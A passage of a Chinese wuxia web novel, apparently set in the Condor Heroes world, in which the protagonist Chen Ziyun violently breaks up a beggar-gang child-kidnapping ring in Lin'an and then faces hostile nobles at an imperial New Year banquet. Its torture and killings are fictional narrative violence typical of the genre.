随着乞丐的第三根手指落地,他的身体本能的抽搐着,一股尿骚味开始弥漫,地上也多了一摊肮脏的液体。 陈子云皱皱眉头。 “哦,刚才我好像点了你的哑穴。” 陈子云似乎终于想起来了这回事,可语气里却没有丝毫抱歉的意思。 “呜呜,啊啊.......我说啊,我说啊。” 乞丐一被解开哑穴,就又哭又喊,又是不断的在空中磕头。 “你有十个数的时间,十......” 陈子云淡漠的开始倒数。 “别再动我手指了啊,爷啊,是我狗眼不识真仙。” 乞丐还在胡言乱语。 “九......” “爷,别数了,我说,我说。我是丐帮的无袋弟子,我没有真的拐带过孩子,只是帮着他们放岗哨而已啊。” “八......” “爷,我说了啊,怎么还数啊。” “七......” “爷,我说。那些人也是瞒着帮中的长老他们自己做的,丐帮虽然大,可毕竟是乞丐啊。要是不做些来钱的生意,如何过活。” “六......” “我认识的人不多,可想来这人进人出的,应该不少于百来号吧,如今这天下什么都不多,就是叫花子多。 况且拍花子拍花子,乞丐拍花子也不过是祖传下来的行当。” “五......” 陈子云的这一声似乎格外的重,把乞丐吓得身体一颤。 “是不是大爷府里丢小孩了,啊呀,真是大水冲了龙王庙了。” “四......” “啊呦呦,大爷啊,我一定给你找回来,找回来啊,求求你别数了哇。” 乞丐身上的疼痛在糁汤的加持下格外的清晰,加上陈子云特意增加的精神压迫,他已经在崩溃的边缘了。 “你们平时的据点在哪里,还有刚拐来的孩子又关在哪里?” 陈子云终于是不倒数了。 “大爷啊,我是真的不知道。每次都是有人找我的,他们就让我给他们摸情况,顺带着打掩护而已。 大爷啊,我真的不是主犯啊,你可要看清楚啊,青天大老爷啊。” 乞丐已经开始胡言乱语了。 陈子云盯着乞丐看了许久,直到他因为大量的失血,终于是迷糊了过去。 “把人扔出去,扔到临安城里乞丐最多的地方。然后盯着他,看看有没有人来救。” “二爷?是。” 裴靖先是踌躇了片刻,最后还是咬牙应了。 陈子云自然知道对方在犹豫什么,这些拐子连李头一家都杀了,要是裴靖单枪匹马去跟踪,被人发现肯定也是个死。 可这也是他对这个裴靖的考验,别说韩府这高门大院的,就不是一个普通的差役能高攀的。 就算是陈子云自己用人也不是什么人都收的,不说什么忠心,起码要有足够的勇气。 仁者无忧、智者无惑、勇者无惧。前面两个太难,而后面一个却是衡量一个人能否有所作为的最基础品质。 有勇气的人可能有时候会显得莽撞,也不一定就能成事;可没有勇气的人,就注定不能获得任何突破性的成就。 因为不管是学文还是习武,没有足够的勇气,你就不可能脱离书本的框架,也更不可能推陈出新创出适合自己的武学。 这一路走来,不管是张老道,还是王重阳,就算是挥刀自宫的东方不败也都是勇者无惧的表率。 所以作为陈子云在这个射雕世界第一个亲自收下的追随者,他不希望裴靖只是个知道捉住机会,会钻营的人物。 陈子云不怕他是个小人,就怕他是个难当大任的人。 ...... 裴靖半托半拉的把这已经被做过初步止血处理的乞丐,带到了临安城最北端,也是最混乱的一个巷子——泥瓦巷。 这里的住户基本都是最落魄的人物,不但三教九流混杂,更是乞丐儿们的天堂。 一旦临安城里有大事,要驱赶街上的乞丐,这些人就会被带到这里。 久而久之,这里就成了流浪者和乞丐的安乐窝。 虽然所有的老临安人都知道有这么个地方,但是敢来这里的人却也是少之又少,因为但凡在这里出了事情,基本连官府都不会管。 就是连裴靖这样的,普通人见了要退避三分的官差也是难得来。只有在上官下了死命令的时候,才会捏着鼻子走进这里。 但这次裴瑾却不得不来了,把手里的乞丐扔到一个乞丐扎堆的刚好能晒到太阳的破屋角落。 看着那些全身都是些不知名的虫儿在爬的腌臜人,裴靖是一分钟都不想再待下去。 可想到陈子云的吩咐,他只好找了一个恰好能看到这里,又能让自己不显得突兀的地方躲藏着。 他一面希望这乞丐的同伙能快点出现,好让他能回去给陈子云复命;一面又担心一旦这些人出现,会不会直接找上自己。 李头他们一家的惨状,可不曾在他眼中褪色。 裴靖艰难的咽下一口唾沫,可嘴里的因为焦虑而生起的干燥却是越发的熬人了。 太阳从正中慢慢的西斜,那乞丐似乎也慢慢的转醒了,可除了一两个饿得睡不下去,出去乞食的乞丐,没有任何可疑的人物靠近。 这不由得让裴靖有些怀疑,陈子云的主意是不是打错了。 “嘿,兄弟,嘛呢?” 一个明显的北方口音在裴靖的旁边响起,惊的他差点就跳了起来。 等看到对方不过是个普通装束的寻常人,才缓和了一些。 “没事,大哥,在这儿发呆呢。难得大好的太阳,看看,就看看。” 好在裴靖来这里之前就已经把身上的官差制服给换了。 “嘿,兄弟,你真是好笑。来这破泥瓦巷里晒太阳,这可是难得的很。” 那看着普通的中年,似乎没听出裴靖的逐客令,还自顾自在那里攀谈着。 “老兄,怎么就知道我不是这泥瓦巷里的?” “嘿嘿,这还用说吗。光闻闻你身上的味道就知道不是了。” “味道?” 裴靖凑到自己的袖子上有些不信的用力闻了闻,似乎是有一种奇怪的味道。 “不好。” 第一百五十四章 乞丐窝 可惜等裴靖发现不妥的时候已经晚了,他中招了,全身酸软一股困意直接把他包围了。 还没等裴靖的身体倒地,又从阳光的阴影里窜出一个人物来,对着刚才的中年人说话。 “赵大哥,这人怎么处置?” “先带回去,还有那个废物点心。要不是他,怎么会让我们惹上这些麻烦。好在有钱老大出手,否则你我哪里还能在这临安城待的下去。” 中年人看着裴靖的眼神变得格外的狠厉。 “赵大哥,既然如此何不就再次将这两人解决掉算了,何必费力气将他们带回去。” 那人似乎并不想浪费抗人的大力气。 “蠢货,出来这么大的事情,要是没有这两个家伙,我们怎么向钱老大交代。本来我还在踌躇怎么把这家伙从牢里捞出来,嘿,看来是衙门里的人被钱老大的狠辣给吓住了。 呸,这些个只知道在衙门里耍狠的废物,嘿嘿。” 这位赵大哥似乎想到了什么得意的事情,自己笑个不停。 “赵大哥,那......” “还那什么,还不赶紧动手,难道要我亲自扛人不成?” “不,不,这哪能啊。” 那人似乎被赵大哥的模样吓唬住了,连忙蹲下身把裴靖给扛在了身上,又朝着那乞丐的地方走去。 可是在他转身背对这位赵大哥的瞬间,脸上的表情却明显露出了几分嘲讽。 在泥瓦巷里七歪八拐之后,赵大哥在前面,那人扛着两人来到了一个在这里难得一见的大院门前。 有两个乞丐装束的看门人,见到他们赶紧迎了上来了,口里寒暄了几句,就从那人的肩上把人接了过来。 赵大哥与那人进去没多久,院子里就传来了类似敲花鼓一般都声响。这显然是一种召唤人的信号,果然不多久,就有各种乞丐打扮的人物从四面八方涌入这个院子里。 这些人破衣烂衫,右手执着竹竿,左手端着破碗。 这一聚拢,把整个还算大的院子塞得满满当当。不过好在这院子里倒是空地多房间少,这些人就聚在空地上,嗡嗡嗡的像是一群绿头苍蝇一般交头接耳。 “舵主到。” 随着一个响亮声音的呼和,众多乞丐终于是安静了下来。 一个散发披肩,身体富态满面胡子的高大中年从正屋中走了出来,等他登上了院子空地上的高台。 众乞丐皆是高呼:“恭迎舵主。” 这位显然就是临安城中的乞丐头子了。 那位赵大哥就站在钱老大的左侧,一副谦卑的模样。 “此人。” 钱老大指着还在地上迷迷糊糊的乞丐说道。 “就是让官差盯上我们的罪魁祸首。” “啊,这是叛徒啊。” “就是他啊。” “这人我认识,他还跟我抢过底盘,我当时就知道他不是个好东西。” “叛徒,呸。” 乞丐们纷纷开始唾弃这个断了好几根手指的同行。 “安静。” 钱老大又是一声大喝,群丐再次静默。 钱老大满意的扫视了一圈,显然对于自己的权威得到贯彻他很是欣慰。 “还有这个人,我怀疑是官差派来的暗探。” 钱老大指着还昏迷着的裴靖说道,他倒是猜得没什么错。 “啊,杀了他,杀了他。” “狗官,杀狗官。” 众丐又开始起哄。 “不急。” 钱老大的声音依旧震天响。 “古语有云:‘攘外必先安内’,这狗官不过是小啰啰,什么时候都跑不了。但是现在这个叛徒,你们说要怎么处理。” “杀。” “杀。” “杀杀杀。” “好!” 钱老大很是满意众丐的反应。 “谁来执行?” 可当钱老大这话一处,所有站在前面的乞丐,下意识的就要往后面退去。 “哼。” 一声闷哼,终于是让众丐停住了脚步。 钱老大扫视一圈,看众丐那副不敢直视的窝囊样子,就知道这些人不过是虚张声势的材料。 “赵大,这人既然是你带回来,那理当由你来执行。” 站在钱老大身边的赵大也是打了个哆嗦,倒不是不敢杀人,而是畏惧钱老大的一身戾气。这位可是敢杀官的人,虽然李头他们只是一些不上台面的差役,可那也不是一般人敢冒犯到。 “是。” 赵大连忙应了一声,随手就抽出别在腰间的牛角尖刀。 也不含糊,来到那被陈子云断指的乞丐面前,对着他的脖子就是一刀。看这手法就知道,这位赵大肯定是屠户出身。 那干净利落的一刀,直接就切断了乞丐的咽喉,乞丐在生命最后的一刻睁开了眼睛,那瞪的快要裂开眼角的眼睛似乎在问,谁杀的我? 喷溅的鲜血染红了赵大的衣襟,也吓退了周围的乞丐。 面对生命的消失勾起了人类本能的对于死亡恐惧,这帮乞丐虽然也不是什么良善之辈,但是总还是有几分兔死狐悲的凄凉的。 …… “一群乞丐,不规规矩矩出去要饭,却躲在这里唱大戏。” 一阵如闷雷般的呵斥声,震住了全场的人。 “谁?谁敢来我丐帮撒野?” 赵大此时刚见了人血,心里的戾气也被激发了出来,就算面对这样不同寻常的声音,他也敢不假思索的顶回去。 钱老大瞥了这位自己的属下一眼,虽然暗暗恼怒对方的不知礼数,但也想着用这人试试这位不速之客的来路也好。 “哼,跳梁小丑。” 一指破空。随即赵大的身体似乎是得了癫痫一般,浑身颤抖两下,最后便像一根面条一样,瘫软的倒下了。 一个离的近的乞丐,看着赵大脑门上那手指粗细的见了红白的洞洞,惊恐的尖叫了一声,整个身体不自觉的往后退却。 随后对于这赵大突然犹如神罚一般都死亡,恐惧犹如瘟疫一般在人群里开始传播。 “安静!” 钱老大也有些惊悚,这样的杀人无形的诡异功夫,让他立刻意识到来人不好惹。但是作为一个丐帮的舵主,终究还是比一般都弟子多了几分定力。 “是哪位前辈与我丐帮开玩笑,要是有什么得罪的地方,还请亮出名头,咱们也好一五一十的勾兑清楚。 要是诚心来找我丐帮麻烦的,就算钱某人不是阁下的对手。难道阁下当真就不给我丐帮一点面子?” 钱老大这是准备拉丐帮的虎皮做大旗了。 第一百五十五章 杀 “丐帮?” 陈子云沉声道。 “不错,有道是不看僧面看佛面。前辈……” 钱老大还以为对方是被丐帮的名头给镇住了,就要顺势而为的再说写什么。 “是负责拐带小孩的丐帮吗?” 陈子云的声音里已经带上了明显的嘲讽。 “你……” 钱老大怒不可遏。他拐带小孩是没错,但是这种事情怎么能容忍别人当着他的面说出来,这不就是当面恶心人吗。 再说了,他只是负责统筹,又不用他亲自出手。正所谓君子见其生不忍见其死,所以远庖厨。 那自己既然见不到那些孩子,自然也就不用不忍心了,这可是圣人说的,他能有什么错。 这人竟然如此的无礼,想来一定是个粗鄙之人。 “所有人给我听着,我不管你们是不是丐帮的,现在给你们十个呼吸的时间。以大门为限,参与了拐带的自己站左边去,没参与的站右边,否则就都去死吧。” 无比森凉的寒意,让这些已经习惯了在冬天里也能靠着破衣烂衫过冬的乞丐,顿时觉得掉入了传说中的寒冰地狱,那种寒冷好似是从自己的骨髓里透出来的。 有几个反应快的立刻就想往右边走,可钱老大那同样逼人的目光,又让这些站在左边的人犹豫不决。 而那些本来就站在右边的人就直接低下头,再躲避钱老大目光的同时暗自庆幸自己今天站的位置明智的祖坟冒青烟了。 冷汗在所有还滞留在左边的乞丐头上,背上涌现,随着自己一次次的呼吸湿透全身。 所有人都在希夷,希望陈子云的话只是在危言耸听。 可随着几道破风声,以及一声声的惊叫,乞丐们发现自己前后左右的其他人忽然就倒地了。 终于,这些在生死线上犹豫的乞丐,还是冲破了以往对于钱老大的畏惧,纷纷往大门的右边跑去。 “不许动。” 钱老大嘶着嗓门喊着。可此时的人群哪里还是他靠吼声就能压制的,没有人能在面对生死的时候,还去顾忌他人的威严是否受损。 钱老大不可置信的看着眼前的场面,为什么会这样。这些以往在自己面前连头都不敢抬的小乞丐,怎么有胆子敢违抗自己的意志。 仿佛自己身下这个辛辛苦苦建立的权利的高台正在崩塌,这是他绝对不能容忍的。 因为除了这些控制这帮乞丐的权利之外,钱老大已经没有别的爱好了。 “给我站住。” 钱老大又怒吼一声,随即一掌就朝着人群拍了下去,他根本没有注意自己拍到的是什么人。 在他此时的心里,只要是违抗自己的人,就都是叛徒,就都要死。 而被钱老大的掌风打着的,基本都是筋断骨折,可见其手上功夫的不俗。 “唉,降龙十八掌?” 陈子云的声音似乎有些不想承认这疯子一般残杀自己人的钱老大,用的真是降龙十八掌的功夫。 他虽然只是在倚天剑里拿到了降龙十八掌的几招残招,但是有这几招作为参照也不难看出这同出一路的掌法。 想这掌法在萧峰、洪七公跟郭靖手中是如何的大气磅礴,可在这钱老大手上使出来,简直就是对着这门掌法的侮辱。 而众乞丐此时也是被发疯的钱老大给吓住了,纷纷朝着门外跑去,也顾不得刚才陈子云关于站队的威胁了。 毕竟当下最着急的是能活下来,只有活下来才有资格谈其他的。 陈子云自然也没有阻止他们,这些人并不是他此行的目标。虽然他并不介意大开杀戒,但是能省几分力气为何要浪费呢。 只要解决了这领头羊,剩下的这些虾兵蟹将交给官差就能解决了。 陈子云杀了三个,而倒在钱老大手里的却不下二十个,其他的有些是他们自己踩踏伤的,零零总总在地上躺了三十来号人。 有些已经彻底的凉了,有些还在哀嚎着。 “哈哈哈,这就是背叛我的下场。” 钱老大满脸是血的笑着。 陈子云嫌弃的遮住自己的口鼻,小心翼翼的寻找干净的落脚处。 陈子云心里暗道,他保证自己不是因为嫌弃这院子里太脏,一开始才不愿意进来的。 “怎么,众叛亲离的滋味如何?” “是你?” 钱老大见突兀的出现的陈子云终于是从癫狂的状态中清醒了些。 “你到底是谁?” 钱老大万万没想到会是眼前这个年轻人在暗中与自己作对。 “你同伙呢,让他们出来吧,钱某人要是眨眨眼就不是好汉。” “呵呵,这个时候冲好汉,拐卖孩子的好汉?” 陈子云厌恶的挥挥手,似乎是想把面前的臭气给驱散开。 “哼,拐带孩子有什么大不了的,就算我不做,也有别人做。我做起码还能挣些钱财,为何要白白便宜别人?” “好好,好,能想出这种逻辑的,那我今天杀你也不冤枉你了。你已经不算是正常人了。” “嘿嘿,想杀我,也得先看看你的斤两再说。” 钱老大说着,整个人已经跃起,在空中跃过丈许的距离,居高下击,朝着陈子云的脑袋打来。 “飞龙在天,错错错。” 陈子云瞬间就认出来这降龙十八掌中的飞龙在天,可惜这招式由钱老大使出来实在是没有半点至刚至坚的意思,反倒是犹犹豫豫一点也不果断。 这哪里还是什么飞龙在天,就是老鹰捉小鸡也比这声势要大一些。陈子云只是微微侧身就躲过了这一招偷袭。 “哈嘿。” 钱老大大口吞声,鼓足了全身的劲道双掌平推,朝着陈子云的胸口袭来。 “这也能叫震惊百里,差差差。” 陈子云不住的摇头,钱老大则是气的咬牙切齿。 陈子云这次没躲,单手一档,就把钱老大这连一里都没震到的双掌给推了回去。 “唉,算了。” 陈子云感受着手上传来的毫无趣味的力道,他此时才知道要从这种货色的掌法中看出降龙十八的真意他是彻底打错算盘了。 果然啊,厉害的终究还是人,不是武功啊。这个时候的洪七公,应该能勉强可以交手吧。 第一百五十六章 无趣 虽然肯定是不如王重阳的层次,可降龙十八掌在他手里,起码是能真正的发出光彩的。 “呀。” 钱老大似乎还没有认识到他与陈子云之间的差距,一副拼命的样子就要朝着陈子云再次冲上来。 可惜此时的陈子云已经没有再跟他玩耍的意思了,右手手指如千手如来一般张开,直接就迷糊了钱老大的眼睛。 直到他看见一点灵光从面前无数的指影中飞出,以无法闪避的姿态点在了他的两眼之间。 大光明绽放之后,就是永恒的黑暗,起码对钱老大来说即使如此。 …… 在解决了泥瓦巷的乞丐窝之后,陈子云就把剩下的事情丢给裴靖了。 至于对方在清醒之后,百思不得其解为什么身边一大堆死乞丐,在来到韩府见到陈子云的瞬间就明白了。 虽然不知道陈子云是怎么做到的,但是想着以韩侂胄这样大人物的能量,自然不是他一个小小差役可以想象的。 所以在裴靖的一声声佩服至极的二爷中陈子云也就懒得解释了,毕竟因为嫌弃当时晕倒的裴靖不干净而没有把他带回来也终究是有些不太仗义的。 至于说为什么在临安官府眼中的老大难问题,在陈子云手里分分钟就搞定了。 怎么说呢,这大概就是所谓的难者不会,会者不难吧。 官府考虑的更多是通过律法的层面去捉捕这些罪犯,所以他们每次行动都讲究人赃俱获,虽然也有刑讯逼供的,可这对于江湖人明显是不够用的。 而且那位钱老大虽然在陈子云手中犹豫孩童,可那也是练过几招降龙十八掌的人物,自然不是普通的衙役可以对付的。 而陈子云早就习惯了用江湖方法对付江湖人,就是一个字打,打不服的就杀。江湖组织没很少有那些所谓的死忠的,只要把他们中间最强的打趴了,剩下的自然就散了。 何况陈子云这次直接把他们的蛇头给砍了,下面的这些乞丐就算还想重操旧业拐带小孩,一下子也找不到买主。 毕竟这些乞丐也只是谋财,他们不可能把拐来的小孩吃了不是。 而通过跟韩侂胄打招呼,让他发动禁军跟官差配合,好好的把临安城里的乞丐给犁地一般的清理了一遍。 对于那些确认拐带过孩子的,就直接捉去充当徭役,罪大的就直接抓进牢里,准备等着一起砍脑袋。 据裴靖说,他们跟禁军陆陆续续在泥瓦巷子里找到了上百个还没有来得及被卖出去的小孩。 “小的做了这些年的差遣,还从来没有见过那样的场面。那些来认小孩的父母,抱着自己的孩子哭,哭完来还对着负责确认身份的弟兄们磕头。 小的看到,就是平时最是泼皮的弟兄也眼里带泪的,虽然这几天是累的够呛的,可弟兄们却没有丝毫的怨言。 就是有几个富户家庭暗地里给弟兄们递过来银子,都给推了回去。 那弟兄当时说,其实他也不是假清高,就是看见这些声泪俱下的父母,也想到自己的爹娘。 这平时收惯了银子的手,就不太利索了。” “好了,这些事不用来我这里说,有马尿回家留给你老父母看去。” 陈子云挥挥手,似乎有些不耐烦的阻止了裴靖突然的多愁伤感。 “我知道你们在衙门里的那点钱还不够你们糊口的,以后没有来管街面的差事,就没什么油水了,以后你就在我院子里领钱吧。 前三个月每个月十两,要是表现好第四个月开始每月十五两。当然要是我用的不畅快,你就哪里来回哪里去,明白吗?” “谢二爷。” 裴靖利落的跪拜着谢道。 吩咐好裴靖之后,陈子云本来以为这件事情就这样过去了,没想到自己教小公主的时候,对方竟然也问起来了。 “子云师傅,我听娘娘说,您帮着抓了好多坏人,还救了一大群丢失的小孩子,是真的吗?” 赵茵萝张着不大却充满灵性的眼睛,盯着陈子云脸上的表情,好像怕错过任何一个可以让她提前确定这一事实的瞬间。 这就是一个小迷妹在望着自己崇拜的偶像一个模样。 陈子云淡淡的点点头,这件事对于他来讲确实没什么值得夸耀的,说是举手之劳也毫不为过。 可是这对于正痴迷于自己这位了不得的师傅,同时也是自己未来的夫婿的小公主来讲,简直就是跟以前听到的传奇故事一样的不可思议。 这一方面是因为她自幼就被养在宫里,对于皇宫以外的事情都充满着好奇。咋听到这种街头传颂的事情,自然是十分的新奇。 而当这件事情还牵扯到自己所熟悉的人的时候,自然就更加的关注了。 “子云师傅,那你当时是怎么抓住那些大坏蛋的?” 陈子云无奈的把眼珠子往上翻了翻,小女孩的好奇总是像春天的野草一样,永远旺盛的很。 “先考校一下上次布置的作业,如果让我满意,我就告诉你。” “啊?” 小公主刚才的兴奋劲头顿时没了,表情局促的玩着自己的裙摆,看那样子就知道,十足的一个没有按时完成老师布置作业的坏小孩。 “那还不去练习。” 陈子云立刻板起脸呵斥道。 “是,子云老师。” 小公主委屈的答应了一声,就站到院子中池塘边的水阁露台上做起了动作。 这就是陈子云根据几门道家武学,配合小公主此时的身体素质开发出来的。 没有什么夸张的功效,只是让赵茵萝现在过于柔弱的身体,有个循序渐进的提高而已。 作用吗,也就是稍微比第十二套全国广播体操好一些吧。 其实此时的陈子云有种担忧,因为小公主既然是从韩皇后那里知道的这件事。 那就意味着,宋宁宗也肯定知道了。 这就不由得让他有些闹心,自己这样的肆意妄为会不会引起宋宁宗的不安。 当然不是他自己怕,而是担心对韩侂胄造成什么不良的影响。 一个权倾朝野的宰相,加上一个能够高来高去的弟弟,同时还是一个罔顾律法,肆意收割其他人性命的高手。 第一百五十七章 皇家夜宴 是个皇帝都会有几分忌惮,也许现在是因为宋宁宗还离不开韩侂胄的支持,可皇帝早晚是要收回权利的。 那到时候,自己就成了一个绊脚石。 宋宁宗要时刻担心,他的收回权利的行为,会不会激怒韩侂胄,以至于让他这位武功高强的弟弟,来个玉石俱焚,刺架杀帝。 不过这也只是陈子云此时的猜想,他也不可能因为这种未来可能发生的事情,现在就去直接干掉宋宁宗。 想到最后也只能是水来土掩,兵来将挡了。 后面的日子倒是平静无波,陈子云就是教教赵茵萝,然后就是自己躲在书房里看看书。 直到春节来临,韩侂胄全家被韩皇后邀请进宫赴宴。 虽然给的理由是招待同族长辈,但是宋宁宗肯定是要出席的,韩侂胄有这个实力,也有这个资格。 至于陈子云自然也是跑不了的,不管他是作为韩家的老二,还是顺安公主的未来驸马,或者是大大改善了她身体状况的恩人,韩皇后都不可能让他缺席。 所以过年这一天,韩府早早的就把本来要放在晚上做的仪式也好,拜见也好,都在白天就早早的做了。 普通的灯笼换上了红妆,各种过年添置的物件也都摆放了出来,给府里下人准备的拜年红包也发了下去。 因为这也是韩侂胄他第一次去宫里过年,也不知道要多久才能回来,以防万一,就把一切都安排好之后再出发。 韩夫人还故意去临安城外的寺庙捐了一笔不小的灯油钱,一来是感谢菩萨保佑韩府在这一年来的辛苦;二来自然是希望菩萨能继续发善心保佑韩家。 陈子云倒是已经比韩侂胄还熟悉后宫的环境了,因为赵茵萝这个小公主的关系。 皇后娘娘一开始总要隔几天就召见他一次,问问自己女儿的具体情况才放心。到后来,似乎就成了一种习惯。 同时韩皇后也发现了,陈子云不但武功卓绝,就是在文采方面也是相当不差。虽然不说什么状元之才,但对于韩皇后这个饱读诗书的才女已经够用了。 南宋虽然也用科举取士,但这并不是唯一的晋升渠道,尤其是对于陈子云这种权贵子弟来讲。 至于说皇宫后院的年夜饭是个什么场面,用李白的两句诗来形容比较合适。 “金樽清酒斗十千,玉盘珍羞直万钱。” 宋宁宗其实并不是一个过于铺张浪费的皇帝,但是今天不一样。 在大年夜,就算是寻常百姓家也会摆上一些平时不敢想的佳肴来庆祝,何况是这天下第一家。 当然出席这种皇家夜宴的也不只是韩侂胄他们一家,还有些别的皇亲国戚,一些勋贵家老,还有就是皇家的自己人了。 虽然陈子云尽量让自己显得无足轻重,但是作为新进当今的唯一一位公主的未来驸马,又是现在第一权臣的弟弟,他想得清净也是不可能的。 那些老家伙还好,就算是有些看不惯韩侂胄的,也不会在这样的场面上给陈子云难堪。 可那些年轻的,尤其是心中有野望的,也就是不想奋斗或者肠胃不好,想吃软饭的,在座的可不在少数。 毕竟要他们这些勋贵子弟去考科举,那也太难为他们了。而作为家里的老二老三,在老大没有出意外之前,又没有他们继承家业的机会。 所以娶公主,跟官家做亲家,简直就是最完美的出路。 可惜,因为韩侂胄的当朝提亲,让他们这些人的如意算盘彻底的没指望了。 平时他们之间可能还在明争暗斗,可当陈子云这个共同点敌人出现的时候,他们的目标就很明确了。 起码陈子云已经发现了不下十几道不怀好意的目光,时不时的往他这边瞟。 等他回望过去,大部分自然是避开了去,可有两道却是毫不避讳,甚至还直接显示出来几分挑衅的意思。 “一群小屁孩。” 陈子云不由得在心里翻了个白眼。 果不其然,由一个老资格的皇家长辈提议让各位年轻人用诗词唱和一番,为这皇家夜宴增色。 下面的那些个,早就有所准备的小家伙们,就像是雄孔雀一般纷纷开始抖擞自己身后的羽毛了。 显而易见的,他们早就有现成的诗词在胸了,至于是自己做的还是花钱买抢手写的,在这欢宴之上没有人会去深究。 韩侂胄不着痕迹的看了自己这位弟弟一眼,陈子云只是耸耸肩。显然韩侂胄可能知道有这么个环节,可却是忘记提醒陈子云了。 或者说,在韩侂胄的下意识里,就觉得自己这位弟弟本来就不用跟这些小辈们挣这些花里胡俏的东西。 他们老韩家又不靠这些毫无实用的东西出头。 可此时韩侂胄才想起,自己的这位弟弟的实际年龄也就是二十出头而已啊。 可想想陈子云做的那些事,又哪里是一个这个年纪的人能做的成的。 算了,如果子云真的没准备,那自己就直接打断这种无聊的游戏好了,想来官家也不会因为这种小事介怀的。 “……火树银花……” “……屠苏……” “新桃换旧符……” 陈子云这边悠闲的吃着盘子里的佳肴,耳边只听得那些个化身为南宋才子的勋贵子弟们,朗诵出来的只言片语。 并没有什么特别的新意,不过这种时候,大家自然也不会吝啬掌声,这样的节目不就是为了创造一个君臣同乐的气氛吗。 “子云,子云,到你了。” 韩夫人轻轻提醒着正在跟美味佳肴搏斗的陈子云。 “韩夫人,咱们不急,看样子我们的未来驸马爷还没吃饱,那就让他先吃着,不急,今夜还长着。” 一个明显笑的不怎么好听的老年声音,让陈子云皱皱眉头咽下了自己刚放进嘴里的樱桃肉。 “是跟赵汝愚一支的。” 韩夫人短短几个字就把重点给挑明了。 原来是冤家聚头了。 陈子云从座位上站起来,冲着上座的宋宁宗那边遥遥一拜。 “陛下,娘娘,臣下事先并不知道宴会让还有这样高雅的节目,所以没有提前准备应景的诗词。 而臣下的文采又有限的很,不如诸位公子这般才思敏捷,有连曹子昂都不如的九斗之才,三步成诗。 所以还请陛下跟娘娘恕臣下不敬之罪。” 陈子云这话一出,坐在宋宁宗跟皇后中间的小公主赵茵萝已经快忍不住要笑出声来了。 第一百五十八章 刁难 而那一众刚才还气质轩邈的朗诵完自己的得意之作的才子们,一个个都涨红了脸。 有的是羞的,有的却是怒的。 “哼,不学无术。” 又是刚才那个出言讥讽的老家伙。 “赵大人,本就小孩子之间的游戏,您老何必当真呢。” 韩侂胄自然不会眼看着自己弟弟被别人欺负,开口道。 “你也……” 那老家伙正还想反驳些什么。宋宁宗见情况不妙,立刻插了进来。 “韩卿,赵老,诸位,值此佳节,还请诸公与朕满饮此杯。祝我大宋来年风调雨顺,国泰安康。” 皇帝既然出面了,谁还能不给面子。 “为大宋贺。” 这句话陈子云倒是跟得上,因为是内侍特意交代过的。 可就算是有了宋宁宗的打岔,也没有让那些人彻底打消要看陈子云当堂出糗的心思。 毕竟按照宋朝对待士大夫的态度,皇帝向来都是比较好说话的,也就是说很多时候他们都不会过于惧怕皇帝。 所以也就可以想象,当有个长的确实勇猛过人的家伙提出要舞剑助兴的时候,将挑衅的目光再次扫向了陈子云。 陈子云无奈的瞥了一眼正跟自己娘娘讲悄悄话的小公主,恐怕自己这个便宜媳妇还不知道,为什么今天自己这么不受待见呢。 “陛下,臣赵猛,曾跟随一位高人习得了一套高超剑术,愿为陛下,为大宋当庭而舞,以助各位大人酒兴。” “好,难得赵猛你有如此之心,自然大可,先饮此杯。” 宋宁宗举杯示意了一下,作为皇帝他自然不用真的喝完,要不然这一场酒下来,岂不是要醉死去。 “谢陛下。” 赵猛豪放的一口就干下整杯。接过内侍送来的一把宫中的宝剑,两步就来到了大殿中央。 看那模样倒是有几分燕赵之士的豪勇之气。 沧浪一声,宝剑出鞘,剑光闪烁,众人皆是大声叫好。 赵猛又是气势汹汹的舞了几招,可后面却看着越来越不像样,反倒是不如开始的那几招。 众人也是疑惑不解,直到赵猛忽然收剑在手。 “陛下,还请陛下助我一臂之力。” 赵猛这操作让众人看不懂了。 “赵猛,你要朕如何助你?” 宋宁宗笑着道,还以为是对方要讨彩头呢。 “陛下,这剑法臣下只是初学,而且每次演练的时候都是与人对战的。只有在对战的时候,才能发挥出这剑法的精髓,所以臣下想请一位配合我演练。” “哦,你想请谁来助你,是你方才说的那位高人吗?” “不是的陛下,我听说韩二爷曾经帮着官差捉了好些贼人,想来是武功高强的,让他来配合臣下便可。” 宋宁宗眉头一皱,自然明白了赵猛的心思。他不也是担心武功神奇的陈子云会不如赵猛,只是这赵猛以及其他人对于陈子云的态度让他不悦。 “赵猛啊,我让宫里的侍卫跟你过招吧。” “陛下,请恕罪,赵猛无礼,但宫中的普通侍卫必然不是臣下的对手,无法发挥出这套剑法的精妙之处,也就只有像韩子云那般的人物才值得赵猛过招。” 嘿嘿,这莽夫,也不知道是受了谁的撺掇,竟然敢在当庭回绝官家。 “陛下,既然如此,看来我是早晚都逃不过这一遭了,那就由我来配合这位赵兄吧。” 陈子云也是被这帮人搞的烦了,自己好不容易收敛着性子,算是给宋宁宗跟韩皇后一些面子。这些不知所谓的家伙似乎觉得自己好欺负似的。 “好,既然如此。子云啊,切记点到即止,新春佳节,不可伤人。” 宋宁宗见陈子云自己都发话了,也就不再阻止,可想到对方那匪夷所思的手段,又不由得为自己这个同宗的晚辈担忧。 哎,宗室这些人啊,平时有正事不见得他们如此积极,到了这种场面上却给自己找麻烦。 不过再想想,也好,陈子云这个人他也是看得云里雾里的。这年轻人虽然已经成了自己的女婿,可对方明显还没有完全展露出自己的才能。 藏着掖着,除了自己跟皇后,好像别人都不知道他的本事,借此机会也让众人知晓,自己选的女婿怎么可能是个庸才。 陈子云接过内侍递过来的长剑,发现这剑都是没有开锋的。不过这也正常,这宫廷大内的,要是见血了总是不吉利的。 陈子云有些生涩的耍了几招全真教的剑法,可是由于他自己只是听王重阳说过,却从来没有演练过,所以看上去就像是一个小孩子的胡乱招呼。 “哈哈哈,这也叫剑法,与赵猛的比来简直是天差地别。” “对啊,韩子云,不会剑法就直接认输吧,这还有什么好比的。” 那些等着看陈子云笑话的人纷纷起哄。 陈子云自然不会被这些故意捣乱的人影响到自己,自顾自的熟悉着手中的长剑。 倒是在上面看着的小公主赵茵萝眉头紧锁,嘟着小嘴对那些嘲讽的人很是不满。这些家伙怎会知道自己的子云师傅,是多么的厉害。 “临阵练剑,你还要练多久?” 赵猛明显是看出了陈子云并不会剑法,不过这也在他们的预料中,要不然也就不会是他来提出挑战了。 “你不一定非要用剑,听说你捉拿那些罪犯的时候用的是厉害的指法,你也可以使出来。” 赵猛似乎还有一些不想胜之不武的心思,可周围的人却是不答应了。 “不行,说好的比剑的,赵猛,这个时候你不可犯浑。” 